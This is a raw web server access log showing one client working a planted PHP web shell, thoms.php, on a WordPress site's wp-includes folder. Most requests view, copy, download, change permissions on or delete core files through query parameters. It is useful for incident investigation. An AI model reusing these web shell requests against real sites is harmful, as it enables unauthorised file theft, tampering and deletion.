45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:30 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?del=class-avif-info.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-network.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-network.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 200 11991 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 200 21905 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 200 61839 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 200 15635 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?del=sitemaps.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:31 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:32 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 200 19825 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 200 14856 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:32 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:32 -0400] "GET /thoms.php?del=feed-rdf.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 200 12056 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:33 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 200 16299 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:32 -0400] "GET /thoms.php?del=block-i18n.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:33 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 200 11933 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:33 -0400] "GET /thoms.php?chmod=html-api&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:33 -0400] "GET /thoms.php?dl=class-wpdb.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59410 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:33 -0400] "GET /thoms.php?dl=user.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59410 "http://163.245.207.76:443/thoms.php?dl=user.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:33 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:33 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /thoms.php?dl=registration-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 200 13133 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /thoms.php?del=version.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=version.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /booking-wise2.com.tw/wp-includes/date.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 200 33050 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:34 -0400] "GET /booking-wise2.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?chmod=theme-templates.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11907 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /booking-wise2.com.tw/wp-includes/json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?chmod=json-schema.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?dl=formatting.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-load.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-load.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /booking-wise2.com.tw/wp-includes/revision.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 200 18602 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 200 15499 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?del=nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:35 -0400] "GET /thoms.php?del=ai-client&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=ai-client&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:36 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 200 23472 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:36 -0400] "GET /booking-wise2.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 913 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:36 -0400] "GET /booking-wise2.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:36 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59445 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:36 -0400] "GET /thoms.php?del=abilities-api&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59289 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:36 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:36 -0400] "GET /thoms.php?dl=bookmark-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59463 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 200 14303 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 200 16590 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /booking-wise2.com.tw/wp-includes/connectors.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:37 -0400] "GET /booking-wise2.com.tw/wp-includes/feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
